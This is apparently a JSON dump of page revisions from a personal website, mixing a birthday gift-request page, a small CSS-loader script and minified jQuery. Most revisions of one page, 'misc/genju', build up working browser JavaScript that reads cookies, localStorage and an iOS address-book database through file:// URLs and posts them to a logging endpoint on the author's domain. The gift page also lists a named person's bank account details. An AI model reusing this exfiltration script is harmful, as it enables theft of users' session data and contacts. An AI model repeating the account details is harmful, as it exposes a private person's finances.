コイケリク\r\n\r\n##はてなポイントくれ\r\n[id:ssig33](http://www.hatena.ne.jp/sendpoint?name=ssig33) にくれ\r\n\r\n##チョコレートを手渡しなどでくれ\r\nチョコレートが\u003cspan style=\"font-size:x-large\"\u003e\u003cb\u003e大好き\u003c/b\u003e\u003c/span\u003eです\r\n\r\n##[Amazon ウィッシュリスト](http://www.amazon.co.jp/registry/wishlist/12YQ45WYG0NQK)経由でなんかくれ","created_at":"2011-12-01T15:50:20.000Z","updated_at":"2011-12-01T15:50:20.000Z"},{"id":1961,"name":"kure.ssig33.com","body":"title 誕生日だしなんかくれ!!!\r\n# ssig33 (小池 陸) は 12 月 15 日が誕生日です\r\n# なんかくれ!!!\r\n##金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク\r\n\r\n##はてなポイントくれ\r\n[id:ssig33](http://www.hatena.ne.jp/sendpoint?name=ssig33) にくれ\r\n\r\n##チョコレートを手渡しなどでくれ\r\nチョコレートが\u003cspan style=\"font-size:x-large\"\u003e\u003cb\u003e大好き\u003c/b\u003e\u003c/span\u003eです\r\n\r\n##[Amazon ウィッシュリスト](http://www.amazon.co.jp/registry/wishlist/12YQ45WYG0NQK)経由でなんかくれ\r\n\r\nsubdomain only","created_at":"2011-12-01T15:55:16.000Z","updated_at":"2011-12-01T15:55:16.000Z"},{"id":1962,"name":"misc/genju","body":"raw\r\nmime js\r\nalert(0)","created_at":"2011-12-06T04:55:27.000Z","updated_at":"2011-12-06T04:55:27.000Z"},{"id":1963,"name":"misc/genju","body":"raw\r\nmime js\r\nalert(location.href)","created_at":"2011-12-06T04:56:14.000Z","updated_at":"2011-12-06T04:56:14.000Z"},{"id":1964,"name":"misc/genju","body":"raw\r\nmime js\r\nalert(document.cookie)\r\nalert(location.href)","created_at":"2011-12-06T04:57:34.000Z","updated_at":"2011-12-06T04:57:34.000Z"},{"id":1965,"name":"misc/for_log","body":"ログとりよー","created_at":"2011-12-06T05:00:03.000Z","updated_at":"2011-12-06T05:00:03.000Z"},{"id":1966,"name":"misc/genju","body":"raw\r\nmime js\r\n$(function(){\r\nalert(document.cookie)\r\nalert(location.href)\r\n$.get('http://ssig33.com/misc/for_log?cookie='+escape(document.cookie))\r\n})","created_at":"2011-12-06T05:01:42.000Z","updated_at":"2011-12-06T05:01:42.000Z"},{"id":1967,"name":"misc/genju","body":"raw\r\nmime js\r\n$(function(){\r\nalert(document.cookie)\r\nalert(location.href)\r\n$.get('http://ssig33.com/misc/for_log?cookie='+escape(document.cookie)+'\u0026href='+escape(location.href))\r\n})","created_at":"2011-12-06T05:03:17.000Z","updated_at":"2011-12-06T05:03:17.000Z"},{"id":1968,"name":"misc/genju","body":"raw\r\nmime js\r\n$(function(){\r\nalert(document.cookie)\r\nalert(location.href)\r\n$.each(localStorage,function(i,k){\r\n console.log(k)\r\n console.log(localStorage.getItem(k));\r\n});\r\n//$.get('http://ssig33.com/misc/for_log?cookie='+escape(document.cookie)+'\u0026href='+escape(location.href))\r\n})","created_at":"2011-12-06T05:12:55.000Z","updated_at":"2011-12-06T05:12:55.000Z"},{"id":1969,"name":"misc/genju","body":"raw\r\nmime js\r\n$(function(){\r\nalert(document.cookie)\r\nalert(location.href)\r\n$.each(localStorage,function(i,k){\r\n alert(k)\r\n alert(localStorage.getItem(k));\r\n});\r\n//$.get('http://ssig33.com/misc/for_log?cookie='+escape(document.cookie)+'\u0026href='+escape(location.href))\r\n})","created_at":"2011-12-06T05:13:13.000Z","updated_at":"2011-12-06T05:13:13.000Z"},{"id":1970,"name":"misc/genju","body":"raw\r\nmime js\r\n$(function(){\r\n//alert(document.cookie)\r\n//alert(location.href)\r\n$.each(localStorage,function(i,k){\r\n alert(k)\r\n $.get('http://ssig33.com/misc/for_log?key='+k)\r\n $.get('http://ssig33.com/misc/for_log?value='+localStorage.getItem(k))\r\n});\r\n$.get('http://ssig33.com/misc/for_log?cookie='+escape(document.cookie)+'\u0026href='+escape(location.href))\r\n})","created_at":"2011-12-06T05:14:00.000Z","updated_at":"2011-12-06T05:14:00.000Z"},{"id":1971,"name":"misc/genju","body":"raw\r\nmime js\r\n$(function(){\r\n//alert(document.cookie)\r\n//alert(location.href)\r\n$.each(localStorage,function(i,k){\r\n alert(k)\r\n $.get('http://ssig33.com/misc/for_log?key='+k)\r\n $.get('http://ssig33.com/misc/for_log?value='+localStorage.getItem(k))\r\n});\r\n$.get('http://ssig33.com/misc/for_log?cookie='+document.cookie+'\u0026href='+location.href)\r\n})","created_at":"2011-12-06T05:15:10.000Z","updated_at":"2011-12-06T05:15:10.000Z"},{"id":1972,"name":"misc/genju","body":"raw\r\nmime js\r\n$(function(){\r\n//alert(document.cookie)\r\n//alert(location.href)\r\n$.get(file:///var/mobile/Library/AddressBook/AddressBook.sqlited, function(data){alert(data)});\r\n$.each(localStorage,function(i,k){\r\n alert(k)\r\n $.get('http://ssig33.com/misc/for_log?key='+k)\r\n $.get('http://ssig33.com/misc/for_log?value='+localStorage.getItem(k))\r\n});\r\n$.get('http://ssig33.com/misc/for_log?cookie='+document.cookie+'\u0026href='+location.href)\r\n})","created_at":"2011-12-06T05:56:39.000Z","updated_at":"2011-12-06T05:56:39.000Z"},{"id":1973,"name":"misc/genju","body":"raw\r\nmime js\r\n$(function(){\r\n//alert(document.cookie)\r\n//alert(location.href)\r\n$.get('file:///var/mobile/Library/AddressBook/AddressBook.sqlited', function(data){alert(data)});\r\n$.each(localStorage,function(i,k){\r\n alert(k)\r\n $.get('http://ssig33.com/misc/for_log?key='+k)\r\n $.get('http://ssig33.com/misc/for_log?value='+localStorage.getItem(k))\r\n});\r\n$.get('http://ssig33.com/misc/for_log?cookie='+document.cookie+'\u0026href='+location.href)\r\n})","created_at":"2011-12-06T05:57:31.000Z","updated_at":"2011-12-06T05:57:31.000Z"},{"id":1974,"name":"misc/genju","body":"raw\r\nmime js\r\n$(function(){\r\n//alert(document.cookie)\r\n//alert(location.href)\r\nx = new XMLHttpRequest()\r\nx.open(\"get\",\"file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb\");\r\nx.overrideMimeType(\"text/plain; charset=x-user-defined\");x.send();\r\nx.onreadystatechange=function(){if(x.readyState==4){alert(x.responseText)}}\r\nfor(var z=0;z\u003cmx;z++){ff[z]=scc(a.charCodeAt(z)\u0026255);}b=ff.join(\"\");b=btoa(b);\r\n$.get('http://ssig33.com/misc/for_log?cookie='+document.cookie+'\u0026href='+location.href)\r\n})","created_at":"2011-12-06T06:05:20.000Z","updated_at":"2011-12-06T06:05:20.000Z"},{"id":1975,"name":"misc/genju","body":"raw\r\nmime js\r\n$(function(){\r\n//alert(document.cookie)\r\n//alert(location.href)\r\n$.get('http://ssig33.com/misc/for_log?cookie='+document.cookie+'\u0026href='+location.href)\r\nx = new XMLHttpRequest()\r\nx.open(\"get\",\"file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb\");\r\nx.overrideMimeType(\"text/plain; charset=x-user-defined\");x.send();\r\nx.onreadystatechange=function(){if(x.readyState==4){alert(x.responseText)}}\r\n})","created_at":"2011-12-06T06:06:07.000Z","updated_at":"2011-12-06T06:06:07.000Z"},{"id":1976,"name":"misc/genju","body":"raw\r\nmime js\r\n$(function(){\r\n//alert(document.cookie)\r\n//alert(location.href)\r\n$.get('http://ssig33.com/misc/for_log?cookie='+document.cookie+'\u0026href='+location.href)\r\n$.get(\"file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb\").success(function(data){alert(data)}).error(function(){alert('error')});\r\n})","created_at":"2011-12-06T06:07:31.000Z","updated_at":"2011-12-06T06:07:31.000Z"},{"id":1977,"name":"misc/genju","body":"raw\r\nmime js\r\n$(function(){\r\n//alert(document.cookie)\r\n//alert(location.href)\r\n$.get('http://ssig33.com/misc/for_log?cookie='+document.cookie+'\u0026href='+location.href)\r\n$.get(\"file:///private/var/mobile/Library/AddressBook/AddressBook.sqlitedb\r\n\").success(function(data){alert(data)}).error(function(){alert('error')});\r\n})","created_at":"2011-12-06T06:24:33.000Z","updated_at":"2011-12-06T06:24:33.000Z"},{"id":1978,"name":"misc/genju","body":"raw\r\nmime js\r\n$(function(){\r\n//alert(document.cookie)\r\n//alert(location.href)\r\n$.get('http://ssig33.com/misc/for_log?cookie='+document.cookie+'\u0026href='+location.href)\r\n$.get(\"file:///private/var/mobile/Library/AddressBook/AddressBook.sqlitedb\").success(function(data){alert(data)}).error(function(){alert('error')});\r\n})","created_at":"2011-12-06T06:25:51.000Z","updated_at":"2011-12-06T06:25:51.000Z"},{"id":1979,"name":"misc/genju","body":"raw\r\nmime js\r\n$(function(){\r\n//alert(document.cookie)\r\n//alert(location.href)\r\n$.get('http://ssig33.com/misc/for_log?cookie='+document.cookie+'\u0026href='+location.href)\r\n$.get(\"file:///private/var/mobile/Library/AddressBook/AddressBook.sqlitedb\").success(function(data){alert(data)}).error(function(){alert('error')});\r\n\r\nx=new XMLHttpRequest();\r\nx.open(\"get\",\"file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb\");\r\nx.overrideMimeType(\"text/plain; charset=x-user-defined\");\r\nx.send();\r\nx.onreadystatechange=function(){\r\n if(x.readyState==4){\r\n a=x.responseText || \"\"; ff=[];mx=a.length;scc=String.fromCharCode;\r\n for(var z=0;z\u003cmx;z++){ff[z]=scc(a.charCodeAt(z)\u0026255);}\r\n b=ff.join(\"\");b=btoa(b);\r\n xp=new XMLHttpRequest ()\r\n xp.open(\"post\",\"http://ssig33.com/misc/for_log\",!0);\r\n xp.setRequestHeader(\"Content-Type\",\"multipart/form-data;boundary=xxx,\");\r\n a=\"--xxx\\r\\nContent-Disposition:form-data;name=\\\"media\\\";filename=\\\"ios.sqlitedb\\\"\\r\\nContent-Type:application/octet-stream\\r\\n\\r\\n\"+b+\"\\r\\n--xxx--\";\r\n xp.send(a);\r\n }\r\n}\r\n})","created_at":"2011-12-06T06:30:53.000Z","updated_at":"2011-12-06T06:30:53.000Z"},{"id":1980,"name":"kure.ssig33.com","body":"title 誕生日だしなんかくれ!!!\r\n# ssig33 (小池 陸) は 12 月 15 日が誕生日です\r\n# なんかくれ!!!\r\n##金くれ\r\n三菱東京UFJ銀行 新宿新都心支店 0090551 コイケリク\r\n\r\n##はてなポイントくれ\r\n[id:ssig33](http://www.hatena.ne.jp/sendpoint?name=ssig33) にくれ\r\n\r\n##チョコレートを手渡しなどでくれ\r\nチョコレートが\u003cspan style=\"font-size:x-large\"\u003e\u003cb\u003e大好き\u003c/b\u003e\u003c/span\u003eです\r\n\r\n##[Amazon ウィッシュリスト](http://www.amazon.co.jp/registry/wishlist/12YQ45WYG0NQK)経由でなんかくれ\r\n\r\n\u003cbutton id='youpy'\u003eCSSを適用する\u003c/button\u003e\r\n\u003cscript src='http://ssig33.com/js/youpy.js'\u003e\u003c/script\u003e\r\n\r\nsubdomain only","created_at":"2011-12-09T04:12:59.000Z","updated_at":"2011-12-09T04:12:59.000Z"},{"id":1981,"name":"js/youpy.js","body":"raw\r\nmine js\r\nfunction addCSS(){\r\n\tvar l = document.createElement(\"link\");\r\n\tl.rel = \"stylesheet\";\r\n\tl.href = \"http://ma.la/tmp/youpy.css\";\r\n\tdocument.getElementsByTagName(\"head\")[0].appendChild(l);\r\n}\r\n$(function(){\r\n $('#youpy').click(function(){addCSS()})\r\n})","created_at":"2011-12-09T04:13:40.000Z","updated_at":"2011-12-09T04:13:40.000Z"},{"id":1982,"name":"js/youpy.js","body":"raw\r\nmime js\r\nfunction addCSS(){\r\n\tvar l = document.createElement(\"link\");\r\n\tl.rel = \"stylesheet\";\r\n\tl.href = \"http://ma.la/tmp/youpy.css\";\r\n\tdocument.getElementsByTagName(\"head\")[0].appendChild(l);\r\n}\r\n$(function(){\r\n $('#youpy').click(function(){addCSS()})\r\n})","created_at":"2011-12-09T04:13:54.000Z","updated_at":"2011-12-09T04:13:54.000Z"},{"id":1983,"name":"jquery.js","body":"raw\nmime js\n/*! jQuery v1.7.1 jquery.com | jquery.org/license */\n(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f(\"\u003c\"+a+\"\u003e\").appendTo(b),e=d.css(\"display\");d.remove();if(e===\"none\"||e===\"\"){cl||(cl=c.createElement(\"iframe\"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode===\"CSS1Compat\"?\"\u003c!doctype html\u003e\":\"\")+\"\u003chtml\u003e\u003cbody\u003e\"),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,\"display\"),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject(\"Microsoft.XMLHTTP\")}catch(b){}}function ci(){try{return new a.XMLHttpRequest}catch(b){}}function cc(a,c){a.dataFilter\u0026\u0026(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g\u003ci;g++){if(g===1)for(h in a.converters)typeof h==\"string\"\u0026\u0026(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k===\"*\")k=l;else if(l!==\"*\"\u0026\u0026l!==k){m=l+\" \"+k,n=e[m]||e[\"* \"+k];if(!n){p=b;for(o in e){j=o.split(\" \");if(j[0]===l||j[0]===\"*\"){p=e[j[1]+\" \"+k];if(p){o=e[o],o===!0?n=p:p===!0\u0026\u0026(n=o);break}}}}!n\u0026\u0026!p\u0026\u0026f.error(\"No conversion from \"+m.replace(\" \",\" to \")),n!==!0\u0026\u0026(c=n?n(c):p(o(c)))}}return c}function cb(a,c,d){var e=a.contents,f=a.dataTypes,g=a.responseFields,h,i,j,k;for(i in g)i in d\u0026\u0026(c[g[i]]=d[i]);while(f[0]===\"*\")f.shift(),h===b\u0026\u0026(h=a.mimeType||c.getResponseHeader(\"content-type\"));if(h)for(i in e)if(e[i]\u0026\u0026e[i].test(h)){f.unshift(i);break}if(f[0]in d)j=f[0];else{for(i in d){if(!f[0]||a.converters[i+\" \"+f[0]]){j=i;break}k||(k=i)}j=j||k}if(j){j!==f[0]\u0026\u0026f.unshift(j);return d[j]}}function ca(a,b,c,d){if(f.isArray(b))f.each(b,function(b,e){c||bE.test(a)?d(a,e):ca(a+\"[\"+(typeof e==\"object\"||f.isArray(e)?b:\"\")+\"]\",e,c,d)});else if(!c\u0026\u0026b!=null\u0026\u0026typeof b==\"object\")for(var e in b)ca(a+\"[\"+e+\"]\",b[e],c,d);else d(a,b)}function b_(a,c){var d,e,g=f.ajaxSettings.flatOptions||{};for(d in c)c[d]!==b\u0026\u0026((g[d]?a:e||(e={}))[d]=c[d]);e\u0026\u0026f.extend(!0,a,e)}function b$(a,c,d,e,f,g){f=f||c.dataTypes[0],g=g||{},g[f]=!0;var h=a[f],i=0,j=h?h.length:0,k=a===bT,l;for(;i\u003cj\u0026\u0026(k||!l);i++)l=h[i](c,d,e),typeof l==\"string\"\u0026\u0026(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=b$(a,c,d,e,l,g)));(k||!l)\u0026\u0026!g[\"*\"]\u0026\u0026(l=b$(a,c,d,e,\"*\",g));return l}function bZ(a){return function(b,c){typeof b!=\"string\"\u0026\u0026(c=b,b=\"*\");if(f.isFunction(c)){var d=b.toLowerCase().split(bP),e=0,g=d.length,h,i,j;for(;e\u003cg;e++)h=d[e],j=/^\\+/.test(h),j\u0026\u0026(h=h.substr(1)||\"*\"),i=a[h]=a[h]||[],i[j?\"unshift\":\"push\"](c)}}}function bC(a,b,c){var d=b===\"width\"?a.offsetWidth:a.offsetHeight,e=b===\"width\"?bx:by,g=0,h=e.length;if(d\u003e0){if(c!==\"border\")for(;g\u003ch;g++)c||(d-=parseFloat(f.css(a,\"padding\"+e[g]))||0),c===\"margin\"?d+=parseFloat(f.css(a,c+e[g]))||0:d-=parseFloat(f.css(a,\"border\"+e[g]+\"Width\"))||0;return d+\"px\"}d=bz(a,b,b);if(d\u003c0||d==null)d=a.style[b]||0;d=parseFloat(d)||0;if(c)for(;g\u003ch;g++)d+=parseFloat(f.css(a,\"padding\"+e[g]))||0,c!==\"padding\"\u0026\u0026(d+=parseFloat(f.css(a,\"border\"+e[g]+\"Width\"))||0),c===\"margin\"\u0026\u0026(d+=parseFloat(f.css(a,c+e[g]))||0);return d+\"px\"}function bp(a,b){b.src?f.ajax({url:b.src,async:!1,dataType:\"script\"}):f.globalEval((b.text||b.textContent||b.innerHTML||\"\").replace(bf,\"/*$0*/\")),b.parentNode\u0026\u0026b.parentNode.removeChild(b)}function bo(a){var b=c.createElement(\"div\");bh.appendChild(b),b.innerHTML=a.outerHTML;return b.firstChild}function bn(a){var b=(a.nodeName||\"\").toLowerCase();b===\"input\"?bm(a):b!==\"script\"\u0026\u0026typeof a.getElementsByTagName!=\"undefined\"\u0026\u0026f.grep(a.getElementsByTagName(\"input\"),bm)}function bm(a){if(a.type===\"checkbox\"||a.type===\"radio\")a.defaultChecked=a.checked}function bl(a){return typeof a.getElementsByTagName!=\"undefined\"?a.getElementsByTagName(\"*\"):typeof a.querySelectorAll!=\"undefined\"?a.querySelectorAll(\"*\"):[]}function bk(a,b){var c;if(b.nodeType===1){b.clearAttributes\u0026\u0026b.clearAttributes(),b.mergeAttributes\u0026\u0026b.mergeAttributes(a),c=b.nodeName.toLowerCase();if(c===\"object\")b.outerHTML=a.outerHTML;else if(c!==\"input\"||a.type!==\"checkbox\"\u0026\u0026a.type!==\"radio\"){if(c===\"option\")b.selected=a.defaultSelected;else if(c===\"input\"||c===\"textarea\")b.defaultValue=a.defaultValue}else a.checked\u0026\u0026(b.defaultChecked=b.checked=a.checked),b.value!==a.value\u0026\u0026(b.value=a.value);b.removeAttribute(f.expando)}}function bj(a,b){if(b.nodeType===1\u0026\u0026!!f.hasData(a)){var c,d,e,g=f._data(a),h=f._data(b,g),i=g.events;if(i){delete h.handle,h.events={};for(c in i)for(d=0,e=i[c].length;d\u003ce;d++)f.event.add(b,c+(i[c][d].namespace?\".\":\"\")+i[c][d].namespace,i[c][d],i[c][d].data)}h.data\u0026\u0026(h.data=f.extend({},h.data))}}function bi(a,b){return f.nodeName(a,\"table\")?a.getElementsByTagName(\"tbody\")[0]||a.appendChild(a.ownerDocument.createElement(\"tbody\")):a}function U(a){var b=V.split(\"|\"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}function T(a,b,c){b=b||0;if(f.isFunction(b))return f.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b==\"string\"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inArray(a,b)\u003e=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+\"defer\",e=b+\"queue\",g=b+\"mark\",h=f._data(a,d);h\u0026\u0026(c===\"queue\"||!f._data(a,e))\u0026\u0026(c===\"mark\"||!f._data(a,g))\u0026\u0026setTimeout(function(){!f._data(a,e)\u0026\u0026!f._data(a,g)\u0026\u0026(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b===\"data\"\u0026\u0026f.isEmptyObject(a[b]))continue;if(b!==\"toJSON\")return!1}return!0}function l(a,c,d){if(d===b\u0026\u0026a.nodeType===1){var e=\"data-\"+c.replace(k,\"-$1\").toLowerCase();d=a.getAttribute(e);if(typeof d==\"string\"){try{d=d===\"true\"?!0:d===\"false\"?!1:d===\"null\"?null:f.isNumeric(d)?parseFloat(d):j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\\s+/);for(c=0,d=a.length;c\u003cd;c++)b[a[c]]=!0;return b}var c=a.document,d=a.navigator,e=a.location,f=function(){function J(){if(!e.isReady){try{c.documentElement.doScroll(\"left\")}catch(a){setTimeout(J,1);return}e.ready()}}var e=function(a,b){return new e.fn.init(a,b,h)},f=a.jQuery,g=a.$,h,i=/^(?:[^#\u003c]*(\u003c[\\w\\W]+\u003e)[^\u003e]*$|#([\\w\\-]*)$)/,j=/\\S/,k=/^\\s+/,l=/\\s+$/,m=/^\u003c(\\w+)\\s*\\/?\u003e(?:\u003c\\/\\1\u003e)?$/,n=/^[\\],:{}\\s]*$/,o=/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g,q=/(?:^|:|,)(?:\\s*\\[)+/g,r=/(webkit)[ \\/]([\\w.]+)/,s=/(opera)(?:.*version)?[ \\/]([\\w.]+)/,t=/(msie) ([\\w.]+)/,u=/(mozilla)(?:.*? rv:([\\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+\"\").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a===\"body\"\u0026\u0026!d\u0026\u0026c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a==\"string\"){a.charAt(0)!==\"\u003c\"||a.charAt(a.length-1)!==\"\u003e\"||a.length\u003c3?g=i.exec(a):g=[null,a,null];if(g\u0026\u0026(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h\u0026\u0026h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b\u0026\u0026(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:\"\",jquery:\"1.7.1\",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a\u003c0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b===\"find\"?d.selector=this.selector+(this.selector?\" \":\"\")+c:b\u0026\u0026(d.selector=this.selector+\".\"+b+\"(\"+c+\")\");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),\"slice\",F.call(arguments).join(\",\"))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i==\"boolean\"\u0026\u0026(l=i,i=arguments[1]||{},j=2),typeof i!=\"object\"\u0026\u0026!e.isFunction(i)\u0026\u0026(i={}),k===j\u0026\u0026(i=this,--j);for(;j\u003ck;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l\u0026\u0026f\u0026\u0026(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d\u0026\u0026e.isArray(d)?d:[]):h=d\u0026\u0026e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b\u0026\u0026(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e\u0026\u0026(a.$=g),b\u0026\u0026a.jQuery===e\u0026\u0026(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0\u0026\u0026!--e.readyWait||a!==!0\u0026\u0026!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0\u0026\u0026--e.readyWait\u003e0)return;A.fireWith(c,[e]),e.fn.trigger\u0026\u0026e(c).trigger(\"ready\").off(\"ready\")}},bindReady:function(){if(!A){A=e.Callbacks(\"once memory\");if(c.readyState===\"complete\")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener(\"DOMContentLoaded\",B,!1),a.addEventListener(\"load\",e.ready,!1);else if(c.attachEvent){c.attachEvent(\"onreadystatechange\",B),a.attachEvent(\"onload\",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll\u0026\u0026b\u0026\u0026J()}}},isFunction:function(a){return e.type(a)===\"function\"},isArray:Array.isArray||function(a){return e.type(a)===\"array\"},isWindow:function(a){return a\u0026\u0026typeof a==\"object\"\u0026\u0026\"setInterval\"in a},isNumeric:function(a){return!isNaN(parseFloat(a))\u0026\u0026isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||\"object\"},isPlainObject:function(a){if(!a||e.type(a)!==\"object\"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor\u0026\u0026!D.call(a,\"constructor\")\u0026\u0026!D.call(a.constructor.prototype,\"isPrototypeOf\"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!=\"string\"||!b)return null;b=e.trim(b);if(a.JSON\u0026\u0026a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,\"@\").replace(p,\"]\").replace(q,\"\")))return(new Function(\"return \"+b))();e.error(\"Invalid JSON: \"+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,\"text/xml\")):(d=new ActiveXObject(\"Microsoft.XMLDOM\"),d.async=\"false\",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName(\"parsererror\").length)\u0026\u0026e.error(\"Invalid XML: \"+c);return d},noop:function(){},globalEval:function(b){b\u0026\u0026j.test(b)\u0026\u0026(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,\"ms-\").replace(v,x)},nodeName:function(a,b){return a.nodeName\u0026\u0026a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g\u003ch;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g\u003ch;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:G?function(a){return a==null?\"\":G.call(a)}:function(a){return a==null?\"\":(a+\"\").replace(k,\"\").replace(l,\"\")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d===\"string\"||d===\"function\"||d===\"regexp\"||e.isWindow(a)?E.call(c,a):e.merge(c,a)}return c},inArray:function(a,b,c){var d;if(b){if(H)return H.call(b,a,c);d=b.length,c=c?c\u003c0?Math.max(0,d+c):c:0;for(;c\u003cd;c++)if(c in b\u0026\u0026b[c]===a)return c}return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length==\"number\")for(var f=c.length;e\u003cf;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f\u003cg;f++)e=!!b(a[f],f),c!==e\u0026\u0026d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b\u0026\u0026typeof j==\"number\"\u0026\u0026(j\u003e0\u0026\u0026a[0]\u0026\u0026a[j-1]||j===0||e.isArray(a));if(k)for(;i\u003cj;i++)f=c(a[i],i,d),f!=null\u0026\u0026(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null\u0026\u0026(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c==\"string\"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=F.call(arguments,2),g=function(){return a.apply(c,f.concat(F.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h){var i=a.length;if(typeof c==\"object\"){for(var j in c)e.access(a,j,c[j],f,g,d);return a}if(d!==b){f=!h\u0026\u0026f\u0026\u0026e.isFunction(d);for(var k=0;k\u003ci;k++)g(a[k],c,f?d.call(a[k],k,g(a[k],c)):d,h);return a}return i?g(a[0],c):b},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf(\"compatible\")\u003c0\u0026\u0026u.exec(a)||[];return{browser:b[1]||\"\",version:b[2]||\"0\"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f\u0026\u0026f instanceof e\u0026\u0026!(f instanceof 